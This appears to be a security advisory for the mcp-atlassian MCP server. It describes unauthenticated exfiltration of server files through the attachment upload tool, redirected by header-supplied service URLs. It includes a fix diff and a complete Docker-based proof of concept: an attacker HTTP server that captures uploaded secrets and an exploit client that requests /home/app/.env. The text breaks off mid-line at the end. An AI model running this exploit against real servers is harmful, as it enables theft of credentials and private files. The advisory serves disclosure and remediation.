"details": "### Summary\n\nThe `mcp-atlassian` server exposes an MCP tool (`confluence_upload_attachment` and the Jira attachment variant) that accepts an arbitrary server-side file path and opens it for upload without any path validation. When the server is deployed in HTTP transport mode (`streamable-http` or `sse`), a remote, unauthenticated attacker can supply attacker-controlled Atlassian service headers (`X-Atlassian-Confluence-Url` / `X-Atlassian-Confluence-Personal-Token`) to redirect the upload to an attacker-controlled endpoint, then pass an arbitrary `file_path` (e.g. `/etc/passwd`, `~/.env`, SSH private keys, cloud credentials) to exfiltrate any file readable by the server process. No prior account, session token, or `Authorization` header is required. The vulnerability was confirmed through both static code analysis (Phase 1) and a live Docker-based proof-of-concept (Phase 2).\n\n---\n\n### Details\n\n**Data flow (source \u2192 sink)**\n\n| Step | Location | Role |\n|------|----------|------|\n| 1 | `src/mcp_atlassian/servers/main.py:498-504` | Middleware extracts `X-Atlassian-Confluence-Url` and `X-Atlassian-Confluence-Personal-Token` from incoming HTTP request headers. |\n| 2 | `src/mcp_atlassian/servers/main.py:584-595` | When no `Authorization` header is present but service headers are, `user_atlassian_auth_type` is set to `\"pat\"`, effectively bypassing authentication requirements. |\n| 3 | `src/mcp_atlassian/utils/urls.py:97-104` | `validate_url_for_ssrf` blocks only `localhost`, RFC 1918 private ranges, and a small set of metadata hostnames. An attacker-controlled public domain or an allow-listed Docker container hostname (`MCP_ALLOWED_URL_DOMAINS`) passes this check. |\n| 4 | `src/mcp_atlassian/servers/dependencies.py:544-545` | The attacker-controlled URL is injected directly as `url=` into `ConfluenceConfig`, constructing a `ConfluenceFetcher` pointed at the attacker\u0027s server. |\n| 5 | `src/mcp_atlassian/servers/confluence.py:1358-1361` | The MCP tool argument `file_path` is forwarded to `confluence_fetcher.upload_attachment()` without any sanitization. |\n| 6 | `src/mcp_atlassian/confluence/attachments.py:64-79` | The path is converted to an absolute path via `os.path.abspath()` and checked for existence only. `validate_safe_path()` \u2014 already used on download paths \u2014 is **never called** here, leaving no directory restriction in place. |\n| 7 | `src/mcp_atlassian/confluence/attachments.py:477` | **Sink**: `files = {\"file\": (filename, open(file_path, \"rb\"))}` \u2014 the file is opened and sent as multipart to the attacker\u0027s server. |\n| 8 | `src/mcp_atlassian/jira/attachments.py:374-386` | Parallel Jira sink: same `os.path.abspath()` pattern, no `validate_safe_path`, then `open(file_path, \"rb\")`. |\n\n**Key code evidence**\n\n```python\n# src/mcp_atlassian/confluence/attachments.py\n64: if not os.path.isabs(file_path):\n65: file_path = os.path.abspath(file_path)\n68: if not os.path.exists(file_path):\n77: filename = os.path.basename(file_path)\n477: files = {\"file\": (filename, open(file_path, \"rb\"))} # \u2190 sink\n```\n\n```python\n# src/mcp_atlassian/jira/attachments.py\n374: if not os.path.isabs(file_path):\n375: file_path = os.path.abspath(file_path)\n386: with open(file_path, \"rb\") as file: # \u2190 sink\n387: attachment = self.jira.add_attachment(\n```\n\n**Why `validate_safe_path` is absent**: The function exists in the codebase and is correctly applied to download/read operations, but it was not applied to the upload path. This asymmetry means an attacker can read any file the server process can access, even though the intent was clearly to restrict path access.\n\n**Default configuration enables the attack**: `READ_ONLY_MODE` defaults to `false`, making write tools (including attachment upload) active by default. HTTP transport is a first-class, documented production deployment mode (README, Helm chart, multi-tenant header-auth design).\n\n**Recommended remediation**\n\n```diff\n--- a/src/mcp_atlassian/confluence/attachments.py\n+++ b/src/mcp_atlassian/confluence/attachments.py\n- if not os.path.isabs(file_path):\n- file_path = os.path.abspath(file_path)\n+ file_path = str(validate_safe_path(file_path))\n filename = os.path.basename(file_path)\n- files = {\"file\": (filename, open(file_path, \"rb\"))}\n+ with open(file_path, \"rb\") as file_obj:\n+ files = {\"file\": (filename, file_obj)}\n+ response = self.confluence._session.put(\n+ url, headers=headers, files=files, data=data\n+ )\n- response = self.confluence._session.put(\n- url, headers=headers, files=files, data=data\n- )\n\n--- a/src/mcp_atlassian/jira/attachments.py\n+++ b/src/mcp_atlassian/jira/attachments.py\n- if not os.path.isabs(file_path):\n- file_path = os.path.abspath(file_path)\n+ file_path = str(validate_safe_path(file_path))\n```\n\nAdditional hardening: reject header-based service URLs before fetcher construction using `validate_url_for_ssrf` with a strict allowlist, and consider defaulting `READ_ONLY_MODE=true` for remotely reachable deployments.\n\n---\n\n### PoC\n\n**Prerequisites**\n\n- Docker (CLI + daemon) available on the attacker machine.\n- Python 3.x with `httpx` installed (`pip install httpx`).\n- The `mcp-atlassian` repository cloned locally (commit `d8bc786` or compatible).\n\n**Step 1 \u2014 Build the victim image**\n\nThe `Dockerfile` at `vuln-001/Dockerfile` builds the `mcp-atlassian` server and plants a simulated `.env` file at `/home/app/.env` containing fake secrets:\n\n```\nSECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3\nDB_PASSWORD=pr0duct10n_d4tab4se_p4ss\nAWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY\n```\n\n```bash\ndocker build -t mcp-atlassian-vuln001 \\\n -f vuln-001/Dockerfile \\\n /path/to/mcp-atlassian-repo\n```\n\n**Step 2 \u2014 Run the automated PoC script**\n\nThe `poc.py` script orchestrates the full attack:\n\n```bash\npython3 poc.py \\\n --repo /path/to/mcp-atlassian-repo \\\n --victim-port 18000 \\\n --attacker-port 18888\n```\n\nThe script performs the following actions automatically:\n\n1. Creates a Docker network (`poc-vuln001-net`).\n2. Starts an **attacker HTTP server** container (`poc-vuln001-attacker`, port `18888`) that mimics a Confluence REST API and records multipart upload bodies.\n3. Starts the **victim MCP server** container (`poc-vuln001-victim`, port `18000`) with `READ_ONLY_MODE=false` and `MCP_ALLOWED_URL_DOMAINS=poc-vuln001-attacker`.\n4. Sends the following MCP JSON-RPC sequence to `http://127.0.0.1:18000/mcp`:\n\n```python\n# Step 4a \u2014 initialize (no Authorization header)\nheaders = {\n \"X-Atlassian-Confluence-Url\": \"http://poc-vuln001-attacker:8888\",\n \"X-Atlassian-Confluence-Personal-Token\": \"fake-pat-token-for-poc\",\n}\nPOST /mcp {\"jsonrpc\":\"2.0\",\"method\":\"initialize\",\"id\":1,\n \"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\n \"clientInfo\":{\"name\":\"vuln001-poc\",\"version\":\"1.0\"}}}\n\n# Step 4b \u2014 trigger file exfiltration\nPOST /mcp {\"jsonrpc\":\"2.0\",\"method\":\"tools/call\",\"id\":3,\n \"params\":{\"name\":\"confluence_upload_attachment\",\n \"arguments\":{\"content_id\":\"123\",\n \"file_path\":\"/home/app/.env\"}}}\n```\n\n5. Queries `http://127.0.0.1:18888/exfil` and verifies that the attacker server received the file contents.\n\n**Expected result**\n\nThe attacker server logs and `/exfil` endpoint confirm receipt of the victim file:\n\n```\n[attacker] *** EXFILTRATED FILE CONTENT START ***\nSECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3\nDB_PASSWORD=pr0duct10n_d4tab4se_p4ss\nAWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY\n[attacker] *** EXFILTRATED FILE CONTENT END ***\n```\n\n**Phase 2 result**: PASS \u2014 file exfiltration confirmed via live Docker PoC.\n\n---\n\n### Impact\n\n**Vulnerability class**: Unauthenticated server-side file exfiltration through an unvalidated path passed to an MCP attachment upload tool, combined with attacker-controlled service URL injection via HTTP request headers.\n\n**Who is impacted**:\n\n- **Operators** running `mcp-atlassian` in HTTP transport mode (`streamable-http` or `sse`) on a network-reachable endpoint with `READ_ONLY_MODE=false` (the default). This includes multi-tenant SaaS deployments, internal tooling servers exposed to a broader corporate network, and any cloud-hosted instance.\n- **Users** whose secrets are stored on the server filesystem are at risk of credential theft \u2014 `.env` files, SSH private keys, cloud provider credentials (`~/.aws/credentials`), kubeconfig files, TLS certificates, and any other file readable by the process.\n\n**Constraints on exploitability**:\n\n- The server must be running in HTTP transport mode (not the default `stdio` mode).\n- `READ_ONLY_MODE` must not be set to `true`.\n- The attacker must be able to reach the `/mcp` endpoint (adjacent network or internet, depending on deployment).\n- The SSRF domain allowlist (`MCP_ALLOWED_URL_DOMAINS`) must permit the attacker\u0027s hostname, or the attacker must control a public domain that passes the IP blocklist check.\n\nDespite these preconditions, all are met in documented production deployment configurations described in the project\u0027s own README and Helm chart.\n\n---\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC Victim Image\n# Build con: mcp-atlassian repo root (use: docker build -f vuln-001/Dockerfile .)\n# Builds the mcp-atlassian server and creates a secret file for exfiltration demonstration.\n\nFROM ghcr.io/astral-sh/uv:python3.13-alpine AS builder\n\nWORKDIR /app\nENV UV_COMPILE_BYTECODE=1\nENV UV_LINK_MODE=copy\n\n# Copy dependency files\nCOPY pyproject.toml README.md uv.lock ./\n\n# Install dependencies (without the project itself to leverage caching)\nRUN --mount=type=cache,target=/root/.cache/uv \\\n uv sync --frozen --no-install-project --no-dev --no-editable\n\n# Copy source and install the project\nCOPY src ./src\nRUN --mount=type=cache,target=/root/.cache/uv \\\n uv sync --frozen --no-dev --no-editable\n\n# Strip bytecode cache to reduce image size\nRUN find /app/.venv -name \u0027__pycache__\u0027 -type d -exec rm -rf {} + 2\u003e/dev/null || true \u0026\u0026 \\\n find /app/.venv -name \u0027*.pyc\u0027 -delete 2\u003e/dev/null || true\n\n# \u2500\u2500 Final Stage \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nFROM python:3.13-alpine\n\n# Create non-root user mirroring a typical prod deployment\nRUN adduser -D -h /home/app -s /bin/sh app\n\n# Plant a sensitive file that the PoC will exfiltrate\nRUN printf \u0027SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3\\n\u0027 \u003e /home/app/.env \u0026\u0026 \\\n printf \u0027DB_PASSWORD=pr0duct10n_d4tab4se_p4ss\\n\u0027 \u003e\u003e /home/app/.env \u0026\u0026 \\\n printf \u0027AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY\\n\u0027 \u003e\u003e /home/app/.env \u0026\u0026 \\\n chown app:app /home/app/.env\n\nWORKDIR /app\nUSER app\n\nCOPY --from=builder --chown=app:app /app/.venv /app/.venv\n\nENV PATH=\"/app/.venv/bin:$PATH\"\nENV PYTHONUNBUFFERED=1\n\n# Default: streamable-http on 0.0.0.0:8000 (overridable at runtime)\nENTRYPOINT [\"mcp-atlassian\"]\nCMD [\"--transport\", \"streamable-http\", \"--port\", \"8000\", \"--host\", \"0.0.0.0\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC \u2014 MCP HTTP Client: Server-Local File Exfiltration via\nUnvalidated Attachment Upload Path (CWE-200, CVSS 7.4)\n\nAttack chain:\n 1. Attacker sends X-Atlassian-Confluence-Url / Personal-Token headers \u2014 no\n Authorization header required (unauthenticated PAT path, main.py:584-595).\n 2. SSRF check passes because MCP_ALLOWED_URL_DOMAINS whitelists the attacker\n container hostname, bypassing DNS validation (urls.py:107-111).\n 3. ConfluenceFetcher is constructed with the attacker-controlled URL\n (dependencies.py:544-545).\n 4. confluence_upload_attachment is called with file_path=/home/app/.env \u2014\n the path is absolutized but never validated against a safe root\n (attachments.py:64-79).\n 5. The file is opened and PUT-ed as multipart to the attacker server\n (attachments.py:477,490).\n\nUsage:\n python3 poc.py [--repo /path/to/repo] [--victim-port 18000]\n [--attacker-port 18888] [--no-cleanup]\n\nRequirements on the host running this script:\n - docker (CLI + daemon)\n - python3 with httpx (pip install httpx)\n\"\"\"\n\nimport argparse\nimport json\nimport os\nimport subprocess\nimport sys\nimport textwrap\nimport time\n\n# \u2500\u2500 constants \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nDEFAULT_REPO = os.path.join(\n os.path.dirname(SCRIPT_DIR), \"repo\"\n)\nDOCKERFILE_PATH = os.path.join(SCRIPT_DIR, \"Dockerfile\")\n\nNETWORK_NAME = \"poc-vuln001-net\"\nVICTIM_NAME = \"poc-vuln001-victim\"\nATTACKER_NAME = \"poc-vuln001-attacker\"\nVICTIM_IMAGE = \"mcp-atlassian-vuln001\"\nATTACKER_IMAGE = \"python:3.12-slim\"\n\nTARGET_FILE = \"/home/app/.env\" # sensitive file planted in the victim image\n\n# \u2500\u2500 attacker server source (injected into the attacker container) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nATTACKER_SERVER_SRC = textwrap.dedent(r\"\"\"\nimport http.server, json, re, sys, threading\n\n_exfil = [] # captured files\n\nclass H(http.server.BaseHTTPRequestHandler):\n def log_message(self, fmt, *a):\n print(f\"[attacker-http] {fmt % a}\", flush=True)\n\n # Confluence auth probe \u2014 return a minimal valid user object\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n if self.path.rstrip(\"/\") == \"/exfil\":\n self.wfile.write(json.dumps({\"files\": _exfil}).encode())\n elif self.path.rstrip(\"/\") == \"/ready\":\n self.wfile.write(b\u0027{\"status\":\"ok\"}\u0027)\n else:\n self.wfile.write(json.dumps({\n \"key\": \"attacker-user\", \"displayName\": \"Attacker\",\n \"emailAddress\": \"attacker@evil.example\", \"active\": True,\n \"accountType\": \"atlassian\"\n }).encode())\n\n def do_PUT(self): self._recv()\n def do_POST(self): self._recv()\n\n def _recv(self):\n cl = int(self.headers.get(\"Content-Length\", 0))\n body = self.rfile.read(cl) if cl else b\"\"\n ct = self.headers.get(\"Content-Type\", \"\")\n print(f\"[attacker] {self.command} {self.path} body={len(body)}b ct={ct}\", flush=True)\n\n file_data = b\"\"\n if \"multipart\" in ct and body:\n bm = re.search(r\"boundary[=\\s]+([\\w\\-]+)\", ct)\n if bm:\n boundary = bm.group(1).encode()\n for part in body.split(b\"--\" + boundary):\n if b\"\\r\\n\\r\\n\" not in part:\n continue\n hdr, _, data = part.partition(b\"\\r\\n\\r\\n\")\n if b\u0027name=\"file\"\u0027 in hdr or b\"filename\" in hdr:\n file_data = data.rstrip(b\"\\r\\n--\")\n break\n\n if file_data:\n text = file_data.decode(errors=\"replace\")\n print(\"[attacker] *** EXFILTRATED FILE CONTENT START ***\", flush=True)\n print(text[:4096], flush=True)\n print(\"[attacker] *** EXFILTRATED FILE CONTENT END ***\", flush=True)\n _exfil.append({\"path\": self.path, \"content\": text[:4096], \"size\": len(file_data)})\n else:\n print(\"[attacker] WARNING: no file data found in request\", flush=True)\n\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(json.dumps({\n \"results\": [{\n \"id\": \"att-001\", \"type\": \"attachment\", \"title\": \"exfiltrated\",\n \"metadata\": {\"mediaType\": \"text/plain\"},\n \"extensions\": {\"fileSize\": len(file_data)}\n }]\n }).encode())\n\nserver = http.server.HTTPServer((\"0.0.0.0\", 8888), H)\nprint(\"[attacker] listening on 0.0.0.0:8888\", flush=True)\nsys.stdout.flush()\nserver.serve_forever()\n\"\"\").strip()\n\n\n# \u2500\u2500 helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef run(cmd: str, **kw):\n r = subprocess.run(cmd, shell=True, capture_output=True, text=True, **kw)\n return r.returncode, r.stdout, r.stderr\n\n\ndef run_ok(cmd: str, label: str = \"\") -\u003e str:\n rc, out, err = run(cmd)\n if rc != 0:\n tag = f\" ({label})\" if label else \"\"\n print(f\"[FAIL] Command{tag} exited {rc}:\\n cmd: {cmd}\\n stdout: {out}\\n stderr: {err}\", file=sys.stderr)\n sys.exit(1)\n return out\n\n\ndef docker_logs(name: str) -\u003e str:\n _, out, err = run(f\"docker logs {name} 2\u003e\u00261\")\n return out + err\n\n\ndef wait_http(url: str, timeout: int = 60, interval: float = 1.5) -\u003e bool:\n import urllib.request\n deadline = time.time() + timeout\n while time.time() \u003c deadline:\n try:\n with urllib.request.urlopen(url, timeout=3) as r:\n if r.status \u003c 500:\n return True\n except Exception:\n pass\n time.sleep(interval)\n return False\n\n\ndef cleanup(victim_name: str, attacker_name: str, network: str):\n run(f\"docker rm -f {victim_name} {attacker_name} 2\u003e/dev/null\")\n run(f\"docker network rm {network} 2\u003e/dev/null\")\n\n\ndef parse_sse_result(text: str) -\u003e dict | None:\n \"\"\"Extract the first JSON-RPC result from an SSE or plain-JSON body.\"\"\"\n for line in text.splitlines():\n line = line.strip()\n if line.startswith(\"data:\"):\n payload = line[5:].strip()\n elif line.startswith(\"{\"):\n payload = line\n else:\n continue\n try:\n obj = json.loads(payload)\n if \"result\" in obj or \"error\" in obj:\n return obj\n except json.JSONDecodeError:\n continue\n return None\n\n\n# \u2500\u2500 MCP client (pure stdlib + httpx) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef mcp_exploit(victim_url: str, attacker_container_url: str, target_file: str) -\u003e dict:\n \"\"\"\n Drive the MCP streamable-http protocol to call confluence_upload_attachment\n with an arbitrary file_path.\n Returns a dict with keys: success, session_id, response_text, error.\n \"\"\"\n import httpx\n\n service_headers = {\n \"X-Atlassian-Confluence-Url\": attacker_container_url,\n \"X-Atlassian-Confluence-Personal-Token\": \"fake-pat-token-for-poc\",\n }\n base_headers = {\n **service_headers,\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json, text/event-stream\",\n }\n\n with httpx.Client(timeout=30) as client:\n # \u2500\u2500 1. initialize \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(f\"[poc] Sending initialize to {victim_url}\")\n resp = client.post(victim_url, headers=base_headers, json={\n \"jsonrpc\": \"2.0\", \"method\": \"initialize\", \"id\": 1,\n \"params\": {\n \"protocolVersion\": \"2024-11-05\",\n \"capabilities\": {},\n \"clientInfo\": {\"name\": \"vuln001-poc\", \"version\": \"1.0\"},\n }\n })\n if resp.status_code not in (200, 201):\n return {\"success\": False, \"error\": f\"initialize failed: HTTP {resp.status_code}\\n{resp.text[:400]}\"}\n\n session_id = resp.headers.get(\"mcp-session-id\") or resp.headers.get(\"Mcp-Session-Id\")\n print(f\"[poc] Session-Id: {session_id}\")\n\n session_headers = {**base_headers}\n if session_id:\n session_headers[\"Mcp-Session-Id\"] = session_id\n\n # \u2500\u2500 2. notifications/initialized \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n client.post(victim_url, headers=session_headers, json={\n \"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\"\n })\n\n # \u2500\u2500 3. tools/list (optional, just for visibility) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n try:\n tl = client.post(victim_url, headers=session_headers, json={\n \"jsonrpc\": \"2.0\", \"method\": \"tools/list\", \"id\": 2, \"params\": {}\n })\n tools_obj = parse_sse_result(tl.text) or {}\n if \"result\" in tools_obj:\n names = [t[\"name\"] for t in tools_obj[\"result\"].get(\"tools\", [])]\n print(f\"[poc] Tools available: {names}\")\n if \"confluence_upload_attachment\" not in names:\n print(\"[poc] WARNING: confluence_upload_attachment not in tools/list \"\n \"(will still attempt tools/call)\")\n except Exception as e:\n print(f\"[poc] tools/list skipped: {e}\")\n\n # \u2500\u2500 4. tools/call \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(f\"[poc] Calling confluence_upload_attachment file_path={target_file}\")\n resp2 = client.post(victim_url, headers=session_headers, json={\n \"jsonrpc\": \"2.0\", \"method\": \"tools/call\", \"id\": 3,\n \"params\": {\n \"name\": \"confluence_upload_attachment\",\n \"arguments\": {\n \"content_id\": \"123\",\n \"file_path\": target_file,\n }\n }\n }, timeout=30)\n\n return {\n \"success\": True,\n \"session_id\": session_id,\n \"status_code\": resp2.status_code,\n \"response_text\": resp2.text[:2000],\n \"error\": None,\n }\n\n\n# \u2500\u2500 main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef main():\n ap = argparse.ArgumentParser(description=\"VULN-001 PoC runner\")\n ap.add_argument(\"--repo\", default=DEFAULT_REPO)\n ap.add_argument(\"--victim-port\", type=int, default=18000)\n ap.add_argument(\"--attacker-port\", type=int, default=18888)\n ap.add_argument(\"--no-cleanup\", action=\"store_true\")\n args = ap.parse_args()\n\n repo_path = os.path.abspath(args.repo)\n victim_port = args.victim_port\n attacker_port = args.attacker_port\n\n print(\"=\" * 60)\n print(\"VULN-001 PoC \u2014 MCP File Exfiltration via Attachment Upload\")\n print(\"=\" * 60)\n print(f\"Repo: {repo_path}\")\n print(f\"Dockerfile: {DOCKERFILE_PATH}\")\n print(f\"Victim port: {victim_port}\")\n print(f\"Attacker port: {attacker_port}\")\n print()\n\n # \u2500\u2500 0. pre-flight \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n cleanup(VICTIM_NAME, ATTACKER_NAME, NETWORK_NAME)\n\n # \u2500\u2500 1. build victim image \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(\"[*] Building victim image (this may take a few minutes)...\")\n rc, out, err = run(\n f\"docker build --no-cache -t {VICTIM_IMAGE} \"\n f\"-f {DOCKERFILE_PATH} {repo_path}\"\n )\n if rc != 0:\n print(f\"[FAIL] docker build failed:\\n{err[-3000:]}\", file=sys.stderr)\n sys.exit(1)\n print(f\"[+] Victim image built: {VICTIM_IMAGE}\")\n\n # \u2500\u2500 2. create network \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(\"[*] Creating Docker network...\")\n run_ok(f\"docker network create {NETWORK_NAME}\", \"network create\")\n print(f\"[+] Network created: {NETWORK_NAME}\")\n\n try:\n # \u2500\u2500 3. start attacker container \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(\"[*] Starting attacker HTTP server...\")\n attacker_code_escaped = ATTACKER_SERVER_SRC.replace(\"\u0027\", \"\u0027\\\"\u0027\\\"\u0027\")\n run_ok(\n f\"docker run -d \"\n f\"--network {NETWORK_NAME} \"\n f\"--name {ATTACKER_NAME} \"\n f\"-p {attacker_port}:8888 \"\n f\"{ATTACKER_IMAGE} \"\n f\"python3 -c \u0027{attacker_code_escaped}\u0027\",\n \"start attacker\"\n )\n\n if not wait_http(f\"http://127.0.0.1:{attacker_port}/ready\", timeout=30):\n print(\"[FAIL] Attacker server did not start in time\")\n print(docker_logs(ATTACKER_NAME))\n sys.exit(1)\n print(f\"[+] Attacker server ready on port {attacker_port}\")\n\n # \u2500\u2500 4. start victim container \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(\"[*] Starting victim MCP server...\")\n run_ok(\n f\"docker run -d \"\n f\"--network {NETWORK_NAME} \"\n f\"--name {VICTIM_NAME} \"\n f\"-p {victim_port}:8000 \"\n f\"-e TRANSPORT=streamable-http \"\n f\"-e MCP_ALLOWED_URL_DOMAINS={ATTACKER_NAME} \"\n f\"-e READ_ONLY_MODE=false \"\n f\"-e MCP_LOGGING_STDOUT=true \"\n f\"-e MCP_VERBOSE=true \"\n f\"{VICTIM_IMAGE} \"\n f\"--transport streamable-http --port 8000 --host 0.0.0.0\",\n \"start victim\"\n )\n\n print(\"[*] Waiting for victim MCP server to be ready...\")\n if not wait_http(f\"http://127.0.0.1:{victim_port}/healthz\", timeout=60):\n print(\"[FAIL] Victim server did not start in time\")\n print(docker_logs(VICTIM_NAME))\n sys.exit(1)\n print(f\"[+] Victim MCP server ready on port {victim_port}\")\n\n # \u2500\u2500 5. run the exploit \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print()\n print(\"[*] Launching MCP exploit...\")\n victim_mcp_url = f\"http://127.0.0.1:{victim_port}/mcp\"\n attacker_container_url = f\"http://{ATTACKER_NAME}:8888\"\n\n result = mcp_exploit(victim_mcp_url, attacker_container_url, TARGET_FILE)\n\n if not result[\"success\"]:\n print(f\"[FAIL] MCP exploit error: {result[\u0027error\u0027]}\")\n print(\"Victim logs:\\n\", docker_logs(VICTIM_NAME)[-2000:])\n sys.exit(1)\n\n print(f\"[poc] tools/call HTTP {result[\u0027status_code\u0027]}\")\n print(f\"[poc] Response:\\n{result[\u0027response_text\u0027]}\")\n\n # \u2500\u2500 6. verify exfiltration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n time.sleep(2)\n\n import urllib.request\n with urllib.request.urlopen(\n f\"http://127.0.0.1:{attacker_port}/exfil\", timeout=5\n ) as r:\n exfil_data = json.loads(r.read())\n\n attacker_raw_logs = docker_logs(ATTACKER_NAME)\n print()\n print(\"Attacker server logs:\")\n print(attacker_raw_logs[-4000:])\n\n files = exfil_data.get(\"files\", [])\n confirmed = bool(files) or (\n \"EXFILTRATED FILE CONTENT\" in attacker_raw_logs\n and \"SECRET_DEPLOY_KEY\" in attacker_raw_logs\n )\n\n evidence_snippet = \"\"\n if files:\n evidence_snippet = files[0].get(\"content\", \"\")[:500]\n elif \"EXFILTRATED FILE CONTENT START\" in attacker_raw_logs:\n start = attacker_raw_logs.find(\"EXFILTRATED FILE CONTENT START\") + len(\"EXFILTRATED FILE CONTENT START\") + 4\n end = attacker_raw_logs.find(\"EXFILTRATED FILE CONTENT END\", start)\n evidence_snippet = 